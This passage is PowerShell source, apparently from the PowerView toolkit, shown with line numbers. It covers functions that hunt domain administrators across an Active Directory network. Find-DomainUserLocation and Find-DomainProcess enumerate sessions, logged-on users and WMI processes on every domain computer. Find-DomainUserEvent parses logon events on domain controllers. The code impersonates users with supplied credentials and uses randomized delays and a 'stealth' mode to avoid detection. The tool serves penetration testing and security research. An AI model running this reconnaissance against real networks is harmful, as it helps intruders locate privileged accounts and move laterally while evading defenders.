$Sessions = Get-NetSession -ComputerName $TargetComputer 17065 ForEach ($Session in $Sessions) { 17066 $UserName = $Session.UserName 17067 $CName = $Session.CName 17068 17069 if ($CName -and $CName.StartsWith('\\')) { 17070 $CName = $CName.TrimStart('\') 17071 } 17072 17073 # make sure we have a result, and ignore computer$ sessions 17074 if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) { 17075 17076 if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) { 17077 $UserLocation = New-Object PSObject 17078 $UserLocation | Add-Member Noteproperty 'UserDomain' $Null 17079 $UserLocation | Add-Member Noteproperty 'UserName' $UserName 17080 $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer 17081 $UserLocation | Add-Member Noteproperty 'SessionFrom' $CName 17082 17083 # try to resolve the DNS hostname of $Cname 17084 try { 17085 $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName 17086 $UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName 17087 } 17088 catch { 17089 $UserLocation | Add-Member NoteProperty 'SessionFromName' $Null 17090 } 17091 17092 # see if we're checking to see if we have local admin access on this machine 17093 if ($CheckAccess) { 17094 $Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin 17095 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin 17096 } 17097 else { 17098 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null 17099 } 17100 $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') 17101 $UserLocation 17102 } 17103 } 17104 } 17105 if (-not $Stealth) { 17106 # if we're not 'stealthy', enumerate loggedon users as well 17107 $LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer 17108 ForEach ($User in $LoggedOn) { 17109 $UserName = $User.UserName 17110 $UserDomain = $User.LogonDomain 17111 17112 # make sure wet have a result 17113 if (($UserName) -and ($UserName.trim() -ne '')) { 17114 if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { 17115 $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress 17116 $UserLocation = New-Object PSObject 17117 $UserLocation | Add-Member Noteproperty 'UserDomain' $UserDomain 17118 $UserLocation | Add-Member Noteproperty 'UserName' $UserName 17119 $UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer 17120 $UserLocation | Add-Member Noteproperty 'IPAddress' $IPAddress 17121 $UserLocation | Add-Member Noteproperty 'SessionFrom' $Null 17122 $UserLocation | Add-Member Noteproperty 'SessionFromName' $Null 17123 17124 # see if we're checking to see if we have local admin access on this machine 17125 if ($CheckAccess) { 17126 $Admin = Test-AdminAccess -ComputerName $TargetComputer 17127 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin 17128 } 17129 else { 17130 $UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null 17131 } 17132 $UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation') 17133 $UserLocation 17134 } 17135 } 17136 } 17137 } 17138 } 17139 } 17140 17141 if ($TokenHandle) { 17142 Invoke-RevertToSelf 17143 } 17144 } 17145 17146 $LogonToken = $Null 17147 if ($PSBoundParameters['Credential']) { 17148 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 17149 $LogonToken = Invoke-UserImpersonation -Credential $Credential 17150 } 17151 else { 17152 $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet 17153 } 17154 } 17155 } 17156 17157 PROCESS { 17158 # only ignore threading if -Delay is passed 17159 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 17160 17161 Write-Verbose "[Find-DomainUserLocation] Total number of hosts: $($TargetComputers.count)" 17162 Write-Verbose "[Find-DomainUserLocation] Delay: $Delay, Jitter: $Jitter" 17163 $Counter = 0 17164 $RandNo = New-Object System.Random 17165 17166 ForEach ($TargetComputer in $TargetComputers) { 17167 $Counter = $Counter + 1 17168 17169 # sleep for our semi-randomized interval 17170 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 17171 17172 Write-Verbose "[Find-DomainUserLocation] Enumerating server $Computer ($Counter of $($TargetComputers.Count))" 17173 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetUsers, $CurrentUser, $Stealth, $LogonToken 17174 17175 if ($Result -and $StopOnSuccess) { 17176 Write-Verbose "[Find-DomainUserLocation] Target user found, returning early" 17177 return 17178 } 17179 } 17180 } 17181 else { 17182 Write-Verbose "[Find-DomainUserLocation] Using threading with threads: $Threads" 17183 Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)" 17184 17185 # if we're using threading, kick off the script block with New-ThreadedFunction 17186 $ScriptParams = @{ 17187 'TargetUsers' = $TargetUsers 17188 'CurrentUser' = $CurrentUser 17189 'Stealth' = $Stealth 17190 'TokenHandle' = $LogonToken 17191 } 17192 17193 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 17194 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 17195 } 17196 } 17197 17198 END { 17199 if ($LogonToken) { 17200 Invoke-RevertToSelf -TokenHandle $LogonToken 17201 } 17202 } 17203 } 17204 17205 17206 function Find-DomainProcess { 17207 <# 17208 .SYNOPSIS 17209 17210 Searches for processes on the domain using WMI, returning processes 17211 that match a particular user specification or process name. 17212 17213 Thanks to @paulbrandau for the approach idea. 17214 17215 Author: Will Schroeder (@harmj0y) 17216 License: BSD 3-Clause 17217 Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction 17218 17219 .DESCRIPTION 17220 17221 This function enumerates all machines on the current (or specified) domain 17222 using Get-DomainComputer, and queries the domain for users of a specified group 17223 (default 'Domain Admins') with Get-DomainGroupMember. Then for each server the 17224 function enumerates any current processes running with Get-WMIProcess, 17225 searching for processes running under any target user contexts or with the 17226 specified -ProcessName. If -Credential is passed, it is passed through to 17227 the underlying WMI commands used to enumerate the remote machines. 17228 17229 .PARAMETER ComputerName 17230 17231 Specifies an array of one or more hosts to enumerate, passable on the pipeline. 17232 If -ComputerName is not passed, the default behavior is to enumerate all machines 17233 in the domain returned by Get-DomainComputer. 17234 17235 .PARAMETER Domain 17236 17237 Specifies the domain to query for computers AND users, defaults to the current domain. 17238 17239 .PARAMETER ComputerDomain 17240 17241 Specifies the domain to query for computers, defaults to the current domain. 17242 17243 .PARAMETER ComputerLDAPFilter 17244 17245 Specifies an LDAP query string that is used to search for computer objects. 17246 17247 .PARAMETER ComputerSearchBase 17248 17249 Specifies the LDAP source to search through for computers, 17250 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 17251 17252 .PARAMETER ComputerUnconstrained 17253 17254 Switch. Search computer objects that have unconstrained delegation. 17255 17256 .PARAMETER ComputerOperatingSystem 17257 17258 Search computers with a specific operating system, wildcards accepted. 17259 17260 .PARAMETER ComputerServicePack 17261 17262 Search computers with a specific service pack, wildcards accepted. 17263 17264 .PARAMETER ComputerSiteName 17265 17266 Search computers in the specific AD Site name, wildcards accepted. 17267 17268 .PARAMETER ProcessName 17269 17270 Search for processes with one or more specific names. 17271 17272 .PARAMETER UserIdentity 17273 17274 Specifies one or more user identities to search for. 17275 17276 .PARAMETER UserDomain 17277 17278 Specifies the domain to query for users to search for, defaults to the current domain. 17279 17280 .PARAMETER UserLDAPFilter 17281 17282 Specifies an LDAP query string that is used to search for target users. 17283 17284 .PARAMETER UserSearchBase 17285 17286 Specifies the LDAP source to search through for target users. 17287 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 17288 17289 .PARAMETER UserGroupIdentity 17290 17291 Specifies a group identity to query for target users, defaults to 'Domain Admins. 17292 If any other user specifications are set, then UserGroupIdentity is ignored. 17293 17294 .PARAMETER UserAdminCount 17295 17296 Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). 17297 17298 .PARAMETER Server 17299 17300 Specifies an Active Directory server (domain controller) to bind to. 17301 17302 .PARAMETER SearchScope 17303 17304 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 17305 17306 .PARAMETER ResultPageSize 17307 17308 Specifies the PageSize to set for the LDAP searcher object. 17309 17310 .PARAMETER ServerTimeLimit 17311 17312 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 17313 17314 .PARAMETER Tombstone 17315 17316 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 17317 17318 .PARAMETER Credential 17319 17320 A [Management.Automation.PSCredential] object of alternate credentials 17321 for connection to the target domain and target systems. 17322 17323 .PARAMETER StopOnSuccess 17324 17325 Switch. Stop hunting after finding after finding a target user. 17326 17327 .PARAMETER Delay 17328 17329 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 17330 17331 .PARAMETER Jitter 17332 17333 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 17334 17335 .PARAMETER Threads 17336 17337 The number of threads to use for user searching, defaults to 20. 17338 17339 .EXAMPLE 17340 17341 Find-DomainProcess 17342 17343 Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. 17344 17345 .EXAMPLE 17346 17347 Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local 17348 17349 Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by 17350 privileged users in dev.testlab.local. 17351 17352 .EXAMPLE 17353 17354 Find-DomainProcess -ProcessName putty.exe 17355 17356 Searchings for instances of putty.exe running on the current domain. 17357 17358 .EXAMPLE 17359 17360 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 17361 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 17362 Find-DomainProcess -Domain testlab.local -Credential $Cred 17363 17364 Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. 17365 17366 .OUTPUTS 17367 17368 PowerView.UserProcess 17369 #> 17370 17371 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 17372 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] 17373 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] 17374 [OutputType('PowerView.UserProcess')] 17375 [CmdletBinding(DefaultParameterSetName = 'None')] 17376 Param( 17377 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 17378 [Alias('DNSHostName')] 17379 [String[]] 17380 $ComputerName, 17381 17382 [ValidateNotNullOrEmpty()] 17383 [String] 17384 $Domain, 17385 17386 [ValidateNotNullOrEmpty()] 17387 [String] 17388 $ComputerDomain, 17389 17390 [ValidateNotNullOrEmpty()] 17391 [String] 17392 $ComputerLDAPFilter, 17393 17394 [ValidateNotNullOrEmpty()] 17395 [String] 17396 $ComputerSearchBase, 17397 17398 [Alias('Unconstrained')] 17399 [Switch] 17400 $ComputerUnconstrained, 17401 17402 [ValidateNotNullOrEmpty()] 17403 [Alias('OperatingSystem')] 17404 [String] 17405 $ComputerOperatingSystem, 17406 17407 [ValidateNotNullOrEmpty()] 17408 [Alias('ServicePack')] 17409 [String] 17410 $ComputerServicePack, 17411 17412 [ValidateNotNullOrEmpty()] 17413 [Alias('SiteName')] 17414 [String] 17415 $ComputerSiteName, 17416 17417 [Parameter(ParameterSetName = 'TargetProcess')] 17418 [ValidateNotNullOrEmpty()] 17419 [String[]] 17420 $ProcessName, 17421 17422 [Parameter(ParameterSetName = 'TargetUser')] 17423 [Parameter(ParameterSetName = 'UserIdentity')] 17424 [ValidateNotNullOrEmpty()] 17425 [String[]] 17426 $UserIdentity, 17427 17428 [Parameter(ParameterSetName = 'TargetUser')] 17429 [ValidateNotNullOrEmpty()] 17430 [String] 17431 $UserDomain, 17432 17433 [Parameter(ParameterSetName = 'TargetUser')] 17434 [ValidateNotNullOrEmpty()] 17435 [String] 17436 $UserLDAPFilter, 17437 17438 [Parameter(ParameterSetName = 'TargetUser')] 17439 [ValidateNotNullOrEmpty()] 17440 [String] 17441 $UserSearchBase, 17442 17443 [ValidateNotNullOrEmpty()] 17444 [Alias('GroupName', 'Group')] 17445 [String[]] 17446 $UserGroupIdentity = 'Domain Admins', 17447 17448 [Parameter(ParameterSetName = 'TargetUser')] 17449 [Alias('AdminCount')] 17450 [Switch] 17451 $UserAdminCount, 17452 17453 [ValidateNotNullOrEmpty()] 17454 [Alias('DomainController')] 17455 [String] 17456 $Server, 17457 17458 [ValidateSet('Base', 'OneLevel', 'Subtree')] 17459 [String] 17460 $SearchScope = 'Subtree', 17461 17462 [ValidateRange(1, 10000)] 17463 [Int] 17464 $ResultPageSize = 200, 17465 17466 [ValidateRange(1, 10000)] 17467 [Int] 17468 $ServerTimeLimit, 17469 17470 [Switch] 17471 $Tombstone, 17472 17473 [Management.Automation.PSCredential] 17474 [Management.Automation.CredentialAttribute()] 17475 $Credential = [Management.Automation.PSCredential]::Empty, 17476 17477 [Switch] 17478 $StopOnSuccess, 17479 17480 [ValidateRange(1, 10000)] 17481 [Int] 17482 $Delay = 0, 17483 17484 [ValidateRange(0.0, 1.0)] 17485 [Double] 17486 $Jitter = .3, 17487 17488 [Int] 17489 [ValidateRange(1, 100)] 17490 $Threads = 20 17491 ) 17492 17493 BEGIN { 17494 $ComputerSearcherArguments = @{ 17495 'Properties' = 'dnshostname' 17496 } 17497 if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } 17498 if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } 17499 if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } 17500 if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } 17501 if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } 17502 if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } 17503 if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } 17504 if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } 17505 if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } 17506 if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } 17507 if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } 17508 if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 17509 if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } 17510 if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } 17511 17512 $UserSearcherArguments = @{ 17513 'Properties' = 'samaccountname' 17514 } 17515 if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } 17516 if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } 17517 if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } 17518 if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } 17519 if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } 17520 if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } 17521 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } 17522 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } 17523 if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } 17524 if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 17525 if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } 17526 if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } 17527 17528 17529 # first, build the set of computers to enumerate 17530 if ($PSBoundParameters['ComputerName']) { 17531 $TargetComputers = $ComputerName 17532 } 17533 else { 17534 Write-Verbose '[Find-DomainProcess] Querying computers in the domain' 17535 $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname 17536 } 17537 Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" 17538 if ($TargetComputers.Length -eq 0) { 17539 throw '[Find-DomainProcess] No hosts found to enumerate' 17540 } 17541 17542 # now build the user target set 17543 if ($PSBoundParameters['ProcessName']) { 17544 $TargetProcessName = @() 17545 ForEach ($T in $ProcessName) { 17546 $TargetProcessName += $T.Split(',') 17547 } 17548 if ($TargetProcessName -isnot [System.Array]) { 17549 $TargetProcessName = [String[]] @($TargetProcessName) 17550 } 17551 } 17552 elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { 17553 $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname 17554 } 17555 else { 17556 $GroupSearcherArguments = @{ 17557 'Identity' = $UserGroupIdentity 17558 'Recurse' = $True 17559 } 17560 if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } 17561 if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } 17562 if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } 17563 if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } 17564 if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } 17565 if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 17566 if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } 17567 if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } 17568 $GroupSearcherArguments 17569 $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName 17570 } 17571 17572 # the host enumeration block we're using to enumerate all servers 17573 $HostEnumBlock = { 17574 Param($ComputerName, $ProcessName, $TargetUsers, $Credential) 17575 17576 ForEach ($TargetComputer in $ComputerName) { 17577 $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer 17578 if ($Up) { 17579 # try to enumerate all active processes on the remote host 17580 # and search for a specific process name 17581 if ($Credential) { 17582 $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue 17583 } 17584 else { 17585 $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue 17586 } 17587 ForEach ($Process in $Processes) { 17588 # if we're hunting for a process name or comma-separated names 17589 if ($ProcessName) { 17590 if ($ProcessName -Contains $Process.ProcessName) { 17591 $Process 17592 } 17593 } 17594 # if the session user is in the target list, display some output 17595 elseif ($TargetUsers -Contains $Process.User) { 17596 $Process 17597 } 17598 } 17599 } 17600 } 17601 } 17602 } 17603 17604 PROCESS { 17605 # only ignore threading if -Delay is passed 17606 if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { 17607 17608 Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" 17609 Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" 17610 $Counter = 0 17611 $RandNo = New-Object System.Random 17612 17613 ForEach ($TargetComputer in $TargetComputers) { 17614 $Counter = $Counter + 1 17615 17616 # sleep for our semi-randomized interval 17617 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 17618 17619 Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" 17620 $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential 17621 $Result 17622 17623 if ($Result -and $StopOnSuccess) { 17624 Write-Verbose "[Find-DomainProcess] Target user found, returning early" 17625 return 17626 } 17627 } 17628 } 17629 else { 17630 Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" 17631 17632 # if we're using threading, kick off the script block with New-ThreadedFunction 17633 $ScriptParams = @{ 17634 'ProcessName' = $TargetProcessName 17635 'TargetUsers' = $TargetUsers 17636 'Credential' = $Credential 17637 } 17638 17639 # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params 17640 New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads 17641 } 17642 } 17643 } 17644 17645 17646 function Find-DomainUserEvent { 17647 <# 17648 .SYNOPSIS 17649 17650 Finds logon events on the current (or remote domain) for the specified users. 17651 17652 Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) 17653 License: BSD 3-Clause 17654 Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction 17655 17656 .DESCRIPTION 17657 17658 Enumerates all domain controllers from the specified -Domain 17659 (default of the local domain) using Get-DomainController, enumerates 17660 the logon events for each using Get-DomainUserEvent, and filters 17661 the results based on the targeting criteria. 17662 17663 .PARAMETER ComputerName 17664 17665 Specifies an explicit computer name to retrieve events from. 17666 17667 .PARAMETER Domain 17668 17669 Specifies a domain to query for domain controllers to enumerate. 17670 Defaults to the current domain. 17671 17672 .PARAMETER Filter 17673 17674 A hashtable of PowerView.LogonEvent properties to filter for. 17675 The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', 17676 and is 'or' by default, meaning at least one clause matches instead of all. 17677 See the exaples for usage. 17678 17679 .PARAMETER StartTime 17680 17681 The [DateTime] object representing the start of when to collect events. 17682 Default of [DateTime]::Now.AddDays(-1). 17683 17684 .PARAMETER EndTime 17685 17686 The [DateTime] object representing the end of when to collect events. 17687 Default of [DateTime]::Now. 17688 17689 .PARAMETER MaxEvents 17690 17691 The maximum number of events (per host) to retrieve. Default of 5000. 17692 17693 .PARAMETER UserIdentity 17694 17695 Specifies one or more user identities to search for. 17696 17697 .PARAMETER UserDomain 17698 17699 Specifies the domain to query for users to search for, defaults to the current domain. 17700 17701 .PARAMETER UserLDAPFilter 17702 17703 Specifies an LDAP query string that is used to search for target users. 17704 17705 .PARAMETER UserSearchBase 17706 17707 Specifies the LDAP source to search through for target users. 17708 e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. 17709 17710 .PARAMETER UserGroupIdentity 17711 17712 Specifies a group identity to query for target users, defaults to 'Domain Admins. 17713 If any other user specifications are set, then UserGroupIdentity is ignored. 17714 17715 .PARAMETER UserAdminCount 17716 17717 Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). 17718 17719 .PARAMETER Server 17720 17721 Specifies an Active Directory server (domain controller) to bind to. 17722 17723 .PARAMETER SearchScope 17724 17725 Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). 17726 17727 .PARAMETER ResultPageSize 17728 17729 Specifies the PageSize to set for the LDAP searcher object. 17730 17731 .PARAMETER ServerTimeLimit 17732 17733 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 17734 17735 .PARAMETER Tombstone 17736 17737 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 17738 17739 .PARAMETER Credential 17740 17741 A [Management.Automation.PSCredential] object of alternate credentials 17742 for connection to the target computer(s). 17743 17744 .PARAMETER StopOnSuccess 17745 17746 Switch. Stop hunting after finding after finding a target user. 17747 17748 .PARAMETER Delay 17749 17750 Specifies the delay (in seconds) between enumerating hosts, defaults to 0. 17751 17752 .PARAMETER Jitter 17753 17754 Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 17755 17756 .PARAMETER Threads 17757 17758 The number of threads to use for user searching, defaults to 20. 17759 17760 .EXAMPLE 17761 17762 Find-DomainUserEvent 17763 17764 Search for any user events matching domain admins on every DC in the current domain. 17765 17766 .EXAMPLE 17767 17768 $cred = Get-Credential dev\administrator 17769 Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' 17770 17771 Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' 17772 domain controller using the alternate credential 17773 17774 .EXAMPLE 17775 17776 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} 17777 17778 Find user events on the primary.testlab.local system where the event matches 17779 the IPAddress '192.168.52.200' or '192.168.52.201'. 17780 17781 .EXAMPLE 17782 17783 $cred = Get-Credential testlab\administrator 17784 Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} 17785 17786 Find user events mathing the specified GUID AND the specified TargetLogonId, searching 17787 through every domain controller in the current domain, enumerating each DC in serial 17788 instead of in a threaded manner, using the alternate credential. 17789 17790 .OUTPUTS 17791 17792 PowerView.LogonEvent 17793 17794 PowerView.ExplicitCredentialLogon 17795 17796 .LINK 17797 17798 http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ 17799 #> 17800 17801 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 17802 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 17803 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] 17804 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] 17805 [OutputType('PowerView.LogonEvent')] 17806 [OutputType('PowerView.ExplicitCredentialLogon')] 17807 [CmdletBinding(DefaultParameterSetName = 'Domain')] 17808 Param( 17809 [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 17810 [Alias('dnshostname', 'HostName', 'name')] 17811 [ValidateNotNullOrEmpty()] 17812 [String[]] 17813 $ComputerName, 17814 17815 [Parameter(ParameterSetName = 'Domain')] 17816 [ValidateNotNullOrEmpty()] 17817 [String] 17818 $Domain, 17819 17820 [ValidateNotNullOrEmpty()] 17821 [Hashtable] 17822 $Filter, 17823 17824 [Parameter(ValueFromPipelineByPropertyName = $True)] 17825 [ValidateNotNullOrEmpty()] 17826 [DateTime] 17827 $StartTime = [DateTime]::Now.AddDays(-1), 17828 17829 [Parameter(ValueFromPipelineByPropertyName = $True)] 17830 [ValidateNotNullOrEmpty()] 17831 [DateTime] 17832 $EndTime = [DateTime]::Now, 17833 17834 [ValidateRange(1, 1000000)] 17835 [Int] 17836 $MaxEvents = 5000, 17837 17838 [ValidateNotNullOrEmpty()] 17839 [String[]] 17840 $UserIdentity, 17841 17842 [ValidateNotNullOrEmpty()] 17843 [String] 17844 $UserDomain, 17845 17846 [ValidateNotNullOrEmpty()] 17847 [String] 17848 $UserLDAPFilter, 17849 17850 [ValidateNotNullOrEmpty()] 17851 [String] 17852 $UserSearchBase, 17853 17854 [ValidateNotNullOrEmpty()] 17855 [Alias('GroupName', 'Group')] 17856 [String[]] 17857 $UserGroupIdentity = 'Domain Admins', 17858 17859 [Alias('AdminCount')] 17860 [Switch] 17861 $UserAdminCount, 17862 17863 [Switch] 17864 $CheckAccess, 17865 17866 [ValidateNotNullOrEmpty()] 17867 [Alias('DomainController')] 17868 [String] 17869 $Server, 17870 17871 [ValidateSet('Base', 'OneLevel', 'Subtree')] 17872 [String] 17873 $SearchScope = 'Subtree', 17874 17875 [ValidateRange(1, 10000)] 17876 [Int] 17877 $ResultPageSize = 200, 17878 17879 [ValidateRange(1, 10000)] 17880 [Int] 17881 $ServerTimeLimit, 17882 17883 [Switch] 17884 $Tombstone, 17885 17886 [Management.Automation.PSCredential] 17887 [Management.Automation.CredentialAttribute()] 17888 $Credential = [Management.Automation.PSCredential]::Empty, 17889 17890 [Switch] 17891 $StopOnSuccess, 17892 17893 [ValidateRange(1, 10000)] 17894 [Int] 17895 $Delay = 0, 17896 17897 [ValidateRange(0.0, 1.0)] 17898 [Double] 17899 $Jitter = .3, 17900 17901 [Int] 17902 [ValidateRange(1, 100)] 17903 $Threads = 20 17904 ) 17905 17906 BEGIN { 17907 $UserSearcherArguments = @{ 17908 'Properties' = 'samaccountname' 17909 } 17910 if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } 17911 if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } 17912 if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } 17913 if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } 17914 if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } 17915 if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } 17916 if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } 17917 if 